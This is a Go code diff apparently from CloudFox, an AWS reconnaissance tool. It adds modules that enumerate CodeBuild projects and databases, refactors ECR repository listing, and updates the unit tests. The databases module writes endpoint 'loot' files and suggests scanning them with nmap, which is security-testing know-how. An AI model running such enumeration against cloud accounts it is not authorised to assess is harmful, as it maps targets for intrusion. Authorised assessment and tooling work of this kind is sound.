seen = append(seen, project.Name)
}
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
//fmt.Printf("[%s][%s] %d projects with a total of %d node groups found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(seen), len(m.output.Body))
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %d projects found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(m.output.Body))
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
} else {
fmt.Printf("[%s][%s] No projects found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
}
func (m *CodeBuildModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Project) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("codebuild", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getcodeBuildProjectsPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *CodeBuildModule) Receiver(receiver chan Project, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Projects = append(m.Projects, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *CodeBuildModule) getcodeBuildProjectsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Project) {
defer wg.Done()
semaphore <- struct{}{}
defer func() { <-semaphore }()
projects, err := sdk.CachedCodeBuildListProjects(m.CodeBuildClient, aws.ToString(m.Caller.Account), r)
if err != nil {
sharedLogger.Error(err.Error())
}
for _, project := range projects {
details, err := sdk.CachedCodeBuildBatchGetProjects(m.CodeBuildClient, aws.ToString(m.Caller.Account), r, project)
if err != nil {
sharedLogger.Error(err.Error())
}
dataReceiver <- Project{
Name: aws.ToString(details.Name),
Region: r,
Role: aws.ToString(details.ServiceRole),
Admin: "",
CanPrivEsc: "",
}
}
}
+150
View File
@@ -0,0 +1,150 @@
package aws
import (
"context"
"fmt"
"path/filepath"
"strings"
"testing"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/codebuild"
"github.com/aws/aws-sdk-go-v2/service/codebuild/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/spf13/afero"
)
type mockedCodeBuildClient struct {
}
func (m *mockedCodeBuildClient) ListProjects(ctx context.Context, params *codebuild.ListProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.ListProjectsOutput, error) {
out := codebuild.ListProjectsOutput{
Projects: []string{"test1", "test2"},
}
return &out, nil
}
func (m *mockedCodeBuildClient) BatchGetProjects(ctx context.Context, params *codebuild.BatchGetProjectsInput, optFns ...func(*codebuild.Options)) (*codebuild.BatchGetProjectsOutput, error) {
project1out := codebuild.BatchGetProjectsOutput{
Projects: []types.Project{
{
Name: aws.String("test1"),
Environment: &types.ProjectEnvironment{
Image: aws.String("aws/codebuild/standard:4.0"),
},
ServiceRole: aws.String("arn:aws:iam::123456789012:role/test1"),
Source: &types.ProjectSource{
Type: "CODECOMMIT",
Location: aws.String("https://git-codecommit.us-east-1.amazonaws.com/v1/repos/test1"),
},
Artifacts: &types.ProjectArtifacts{
Type: "S3",
Location: aws.String("s3://test1"),
},
TimeoutInMinutes: aws.Int32(60),
},
},
}
project2out := codebuild.BatchGetProjectsOutput{
Projects: []types.Project{
{
Name: aws.String("test2"),
Environment: &types.ProjectEnvironment{
Image: aws.String("aws/codebuild/standard:4.0"),
},
ServiceRole: aws.String("arn:aws:iam::123456789012:role/test2"),
Source: &types.ProjectSource{
Type: "GITHUB",
Location: aws.String("https://test.github.com/test2"),
},
Artifacts: &types.ProjectArtifacts{
Type: "S3",
Location: aws.String("s3://test2"),
},
TimeoutInMinutes: aws.Int32(60),
},
},
}
if params.Names[0] == "test1" {
return &project1out, nil
} else if params.Names[0] == "test2" {
return &project2out, nil
} else {
return nil, nil
}
}
func (m *mockedCodeBuildClient) GetResourcePolicy(ctx context.Context, params *codebuild.GetResourcePolicyInput, optFns ...func(*codebuild.Options)) (*codebuild.GetResourcePolicyOutput, error) {
out := codebuild.GetResourcePolicyOutput{
Policy: aws.String(`{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"codebuild:StartBuild",
"codebuild:BatchGetBuilds",
"codebuild:StopBuild",
"codebuild:ListProjects",
"codebuild:BatchGetProjects"
],
"Resource": "*"
}
]
}`),
}
return &out, nil
}
func TestCodeBuildProjects(t *testing.T) {
m := CodeBuildModule{
CodeBuildClient: &mockedCodeBuildClient{},
AWSProfile: "unittesting",
AWSRegions: []string{"us-west-1"},
Caller: sts.GetCallerIdentityOutput{
Arn: aws.String("arn:aws:iam::123456789012:user/Alice"),
Account: aws.String("123456789012"),
},
Goroutines: 3,
WrapTable: true,
SkipAdminCheck: true,
}
fs := internal.MockFileSystem(true)
defer internal.MockFileSystem(false)
tmpDir := "."
// execute the module with verbosity set to 2
m.PrintCodeBuildProjects("table", tmpDir, 2)
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/codebuild.txt")
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
if err != nil {
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
}
expectedResults := strings.TrimLeft(`
╭───────────┬───────┬──────────────────────────────────────┬──────────────╮
│ Region │ Name │ Role │ IsAdminRole? │
├───────────┼───────┼──────────────────────────────────────┼──────────────┤
│ us-west-1 │ test1 │ arn:aws:iam::123456789012:role/test1 │ Skipped │
│ us-west-1 │ test2 │ arn:aws:iam::123456789012:role/test2 │ Skipped │
╰───────────┴───────┴──────────────────────────────────────┴──────────────╯
`, "\n")
fmt.Println(expectedResults)
fmt.Println("results file")
fmt.Println(string(resultsFile))
if string(resultsFile) != expectedResults {
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
}
}
+451
View File
@@ -0,0 +1,451 @@
package aws
import (
"errors"
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type DatabasesModule struct {
RDSClient sdk.RDSClientInterface
RedshiftClient sdk.RedShiftClientInterface
DynamoDBClient sdk.DynamoDBClientInterface
DocDBClient sdk.DocDBClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
Databases []Database
CommandCounter internal.CommandCounter
Errors []string
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type Database struct {
AWSService string
Region string
Engine string
Name string
Arn string
UserName string
Endpoint string
Port int32
Protocol string
Public string
Size string
}
func (m *DatabasesModule) PrintDatabases(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "databases"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Enumerating databases for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Supported Services: RDS, DynamoDB\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan Database)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
//execute regional checks
for _, region := range m.AWSRegions {
wg.Add(1)
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
sort.Slice(m.Databases, func(i, j int) bool {
return m.Databases[i].AWSService < m.Databases[j].AWSService
})
m.output.Headers = []string{
"Service",
"Engine",
"Region",
"Name",
"Size",
"UserName",
"Endpoint",
//"Port",
//"Protocol",
//"Public",
}
// Table rows
for i := range m.Databases {
m.output.Body = append(
m.output.Body,
[]string{
m.Databases[i].AWSService,
m.Databases[i].Engine,
m.Databases[i].Region,
m.Databases[i].Name,
m.Databases[i].Size,
m.Databases[i].UserName,
m.Databases[i].Endpoint,
// strconv.Itoa(int(m.Databases[i].Port)),
// m.Databases[i].Protocol,
// m.Databases[i].Public,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s databases found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No databases found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *DatabasesModule) Receiver(receiver chan Database, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Databases = append(m.Databases, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *DatabasesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("rds", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
go m.getRdsClustersPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("redshift", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getRedshiftDatabasesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("dynamodb", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getDynamoDBTablesPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("docdb", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getDocDBTablesPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *DatabasesModule) writeLoot(outputDirectory string, verbosity int) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
panic(err.Error())
}
f := filepath.Join(path, "databases-UrlsOnly.txt")
var out string
for _, database := range m.Databases {
out = out + fmt.Sprintln(database.Endpoint)
}
err = os.WriteFile(f, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
panic(err.Error())
}
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Feed this databases into nmap and something like gowitness/aquatone for screenshots."))
fmt.Print(out)
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), f)
}
func (m *DatabasesModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
m.CommandCounter.Pending--
m.CommandCounter.Executing++
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
var public string
for _, instance := range DBInstances {
if instance.Endpoint != nil {
name := aws.ToString(instance.DBInstanceIdentifier)
port := instance.Endpoint.Port
endpoint := aws.ToString(instance.Endpoint.Address)
engine := aws.ToString(instance.Engine)
if instance.PubliclyAccessible {
public = "True"
} else {
public = "False"
}
dataReceiver <- Database{
AWSService: "RDS",
Region: r,
Name: name,
Engine: engine,
Endpoint: endpoint,
UserName: aws.ToString(instance.MasterUsername),
Port: port,
Protocol: aws.ToString(instance.Engine),
Public: public,
}
}
}
}
func (m *DatabasesModule) getRedshiftDatabasesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
awsService := "Redshift"
protocol := "https"
Clusters, err := sdk.CachedRedShiftDescribeClusters(m.RedshiftClient, aws.ToString(m.Caller.Account), r)
if err != nil {
if errors.As(err, &oe) {
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
}
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
var public string
for _, cluster := range Clusters {
name := aws.ToString(cluster.DBName)
//id := workspace.Id
endpoint := aws.ToString(cluster.Endpoint.Address)
if cluster.PubliclyAccessible {
public = "True"
} else {
public = "False"
}
port := cluster.Endpoint.Port
dataReceiver <- Database{
AWSService: awsService,
Region: r,
Name: name,
Endpoint: endpoint,
Port: port,
Protocol: protocol,
Public: public,
}
}
}
func (m *DatabasesModule) getDynamoDBTablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
awsService := "DynamoDB"
Tables, err := sdk.CachedDynamoDBListTables(m.DynamoDBClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, table := range Tables {
//get size of dynamodb table
TableOutput, err := sdk.CachedDynamoDBDescribeTable(m.DynamoDBClient, aws.ToString(m.Caller.Account), r, table)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
size := aws.ToInt64(TableOutput.TableSizeBytes)
dataReceiver <- Database{
AWSService: awsService,
Region: r,
Name: table,
Size: strconv.Itoa(int(size)),
UserName: "N/A",
Endpoint: "N/A",
}
}
}
func (m *DatabasesModule) getDocDBTablesPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Database) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
awsService := "DocDB"
Clusters, err := sdk.CachedDocDBDescribeDBClusters(m.DocDBClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, cluster := range Clusters {
name := aws.ToString(cluster.DBClusterIdentifier)
endpoint := aws.ToString(cluster.Endpoint)
port := aws.ToInt32(cluster.Port)
//size := aws.ToInt64(TableOutput.Table.TableSizeBytes)
userName := aws.ToString(cluster.MasterUsername)
dataReceiver <- Database{
AWSService: awsService,
Region: r,
Name: name,
Endpoint: endpoint,
Port: port,
UserName: userName,
//Size: strconv.Itoa(int(size)),
}
}
}
+119 -108
View File
@@ -1,7 +1,6 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
@@ -10,9 +9,10 @@ import (
"strings"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ecr"
"github.com/aws/aws-sdk-go-v2/service/ecr/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
@@ -21,11 +21,7 @@ import (
type ECRModule struct {
// General configuration data
ECRClient *ecr.Client
// These interfaces are used for unit testing
ECRClientDescribeReposInterface ecr.DescribeRepositoriesAPIClient
ECRClientDescribeImagesInterface ecr.DescribeImagesAPIClient
ECRClient sdk.AWSECRClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
@@ -49,6 +45,8 @@ type Repository struct {
PushedAt string
ImageTags string
ImageSize int64
Policy policy.Policy
PolicyJSON string
}
func (m *ECRModule) PrintECR(outputFormat string, outputDirectory string, verbosity int) {
@@ -125,11 +123,27 @@ func (m *ECRModule) PrintECR(outputFormat string, outputDirectory string, verbos
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath, verbosity)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s repositories found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No repositories found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
@@ -141,7 +155,7 @@ func (m *ECRModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("ecr", r)
if err != nil {
@@ -224,107 +238,104 @@ func (m *ECRModule) getECRRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
defer func() {
<-semaphore
}()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
var PaginationControl2 *string
for {
DescribeRepositories, err := m.ECRClientDescribeReposInterface.DescribeRepositories(
context.TODO(),
&ecr.DescribeRepositoriesInput{
NextToken: PaginationControl,
},
func(o *ecr.Options) {
o.Region = r
},
)
var allImages []types.ImageDetail
var repoURI string
var repoName string
DescribeRepositories, err := m.describeRepositories(r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, repo := range DescribeRepositories {
repoName = aws.ToString(repo.RepositoryName)
repoURI = aws.ToString(repo.RepositoryUri)
//created := *repo.CreatedAt
//fmt.Printf("%s, %s, %s", repoName, repoURI, created)
images, err := m.describeImages(r, repoName)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, repo := range DescribeRepositories.Repositories {
repoName := aws.ToString(repo.RepositoryName)
repoURI := aws.ToString(repo.RepositoryUri)
//created := *repo.CreatedAt
//fmt.Printf("%s, %s, %s", repoName, repoURI, created)
var images []types.ImageDetail
for {
DescribeImages, err := m.ECRClientDescribeImagesInterface.DescribeImages(
context.TODO(),
&ecr.DescribeImagesInput{
RepositoryName: &repoName,
NextToken: PaginationControl2,
},
func(o *ecr.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
//images := DescribeImages.ImageDetails
images = append(images, DescribeImages.ImageDetails...)
if DescribeImages.NextToken != nil {
PaginationControl2 = DescribeImages.NextToken
} else {
// not sure if this is the right way to do this, but adding this code here was the only way i could
// sort the results from all pages to look for the latest push.
PaginationControl2 = nil
sort.Slice(images, func(i, j int) bool {
return images[i].ImagePushedAt.Format("2006-01-02 15:04:05") < images[j].ImagePushedAt.Format("2006-01-02 15:04:05")
})
var image types.ImageDetail
var imageTags string
if len(images) > 1 {
image = images[len(images)-1]
} else if len(images) == 1 {
image = images[0]
} else {
break
}
if len(image.ImageTags) > 0 {
imageTags = image.ImageTags[0]
}
//imageTags := image.ImageTags[0]
pushedAt := image.ImagePushedAt.Format("2006-01-02 15:04:05")
imageSize := aws.ToInt64(image.ImageSizeInBytes)
pullURI := fmt.Sprintf("%s:%s", repoURI, imageTags)
dataReceiver <- Repository{
AWSService: "ECR",
Name: repoName,
Region: r,
URI: pullURI,
PushedAt: pushedAt,
ImageTags: imageTags,
ImageSize: imageSize,
}
// }
break
}
}
}
// The "NextToken" value is nil when there's no more data to return.
if DescribeRepositories.NextToken != nil {
PaginationControl = DescribeRepositories.NextToken
} else {
PaginationControl = nil
break
return
}
allImages = append(allImages, images...)
}
sort.Slice(allImages, func(i, j int) bool {
return allImages[i].ImagePushedAt.Format("2006-01-02 15:04:05") < allImages[j].ImagePushedAt.Format("2006-01-02 15:04:05")
})
var image types.ImageDetail
var imageTags string
if len(allImages) > 1 {
image = allImages[len(allImages)-1]
} else if len(allImages) == 1 {
image = allImages[0]
} else {
return
}
if len(image.ImageTags) > 0 {
imageTags = image.ImageTags[0]
}
//imageTags := image.ImageTags[0]
pushedAt := image.ImagePushedAt.Format("2006-01-02 15:04:05")
imageSize := aws.ToInt64(image.ImageSizeInBytes)
pullURI := fmt.Sprintf("%s:%s", repoURI, imageTags)
dataReceiver <- Repository{
AWSService: "ECR",
Name: repoName,
Region: r,
URI: pullURI,
PushedAt: pushedAt,
ImageTags: imageTags,
ImageSize: imageSize,
}
}
func (m *ECRModule) describeRepositories(r string) ([]types.Repository, error) {
var repositories []types.Repository
Repositories, err := sdk.CachedECRDescribeRepositories(m.ECRClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.CommandCounter.Error++
return nil, err
}
repositories = append(repositories, Repositories...)
return repositories, nil
}
func (m *ECRModule) describeImages(r string, repoName string) ([]types.ImageDetail, error) {
var images []types.ImageDetail
ImageDetails, err := sdk.CachedECRDescribeImages(m.ECRClient, aws.ToString(m.Caller.Account), r, repoName)
if err != nil {
m.CommandCounter.Error++
return nil, err
}
images = append(images, ImageDetails...)
return images, nil
}
func (m *ECRModule) getECRRepositoryPolicy(r string, repository string) (policy.Policy, error) {
var repoPolicy policy.Policy
Policy, err := sdk.CachedECRGetRepositoryPolicy(m.ECRClient, aws.ToString(m.Caller.Account), r, repository)
if err != nil {
m.CommandCounter.Error++
return repoPolicy, err
}
repoPolicy, err = policy.ParseJSONPolicy([]byte(Policy))
if err != nil {
return repoPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", repository, err)
}
return repoPolicy, nil
}
+19 -15
View File
@@ -15,15 +15,10 @@ import (
var AWSRegions = []string{"us-east-1", "us-east-2", "us-west-1", "us-west-2", "af-south-1", "ap-east-1", "ap-south-1", "ap-northeast-3", "ap-northeast-2", "ap-southeast-1", "ap-southeast-2", "ap-northeast-1", "ca-central-1", "eu-central-1", "eu-west-1", "eu-west-2", "eu-south-1", "eu-west-3", "eu-north-1", "me-south-1", "sa-east-1"}
type MockedECRClientDescribeRepos struct {
AWSRegions []string
type MockedECRClient struct {
}
type MockedECRClientDescribeImages struct {
AWSRegions []string
}
func (m *MockedECRClientDescribeRepos) DescribeRepositories(ctx context.Context, params *ecr.DescribeRepositoriesInput, optFns ...func(*ecr.Options)) (*ecr.DescribeRepositoriesOutput, error) {
func (m *MockedECRClient) DescribeRepositories(ctx context.Context, params *ecr.DescribeRepositoriesInput, optFns ...func(*ecr.Options)) (*ecr.DescribeRepositoriesOutput, error) {
return &ecr.DescribeRepositoriesOutput{
Repositories: []types.Repository{
{
@@ -34,7 +29,7 @@ func (m *MockedECRClientDescribeRepos) DescribeRepositories(ctx context.Context,
}, nil
}
func (m *MockedECRClientDescribeImages) DescribeImages(context.Context, *ecr.DescribeImagesInput, ...func(*ecr.Options)) (*ecr.DescribeImagesOutput, error) {
func (m *MockedECRClient) DescribeImages(context.Context, *ecr.DescribeImagesInput, ...func(*ecr.Options)) (*ecr.DescribeImagesOutput, error) {
return &ecr.DescribeImagesOutput{
ImageDetails: []types.ImageDetail{
{
@@ -46,7 +41,14 @@ func (m *MockedECRClientDescribeImages) DescribeImages(context.Context, *ecr.Des
}, nil
}
func (m *MockedECRClient) GetRepositoryPolicy(context.Context, *ecr.GetRepositoryPolicyInput, ...func(*ecr.Options)) (*ecr.GetRepositoryPolicyOutput, error) {
return &ecr.GetRepositoryPolicyOutput{
PolicyText: aws.String("policyText"),
}, nil
}
func TestDescribeRepos(t *testing.T) {
subtests := []struct {
name string
outputDirectory string
@@ -59,13 +61,15 @@ func TestDescribeRepos(t *testing.T) {
outputDirectory: ".",
verbosity: 2,
testModule: ECRModule{
ECRClientDescribeReposInterface: &MockedECRClientDescribeRepos{},
ECRClientDescribeImagesInterface: &MockedECRClientDescribeImages{},
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
OutputFormat: "table",
AWSProfile: "test",
Goroutines: 30,
AWSRegions: AWSRegions,
ECRClient: &MockedECRClient{},
Caller: sts.GetCallerIdentityOutput{
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
Account: aws.String("123456789012"),
},
OutputFormat: "table",
AWSProfile: "test",
Goroutines: 30,
AWSRegions: AWSRegions,
},
expectedResult: []Repository{{
Name: "test1",
+154 -64
View File
@@ -2,6 +2,7 @@ package aws
import (
"context"
"encoding/json"
"fmt"
"os"
"path/filepath"
@@ -9,12 +10,12 @@ import (
"strings"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/ec2"
"github.com/aws/aws-sdk-go-v2/service/ecs"
"github.com/aws/aws-sdk-go-v2/service/ecs/types"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/sts"
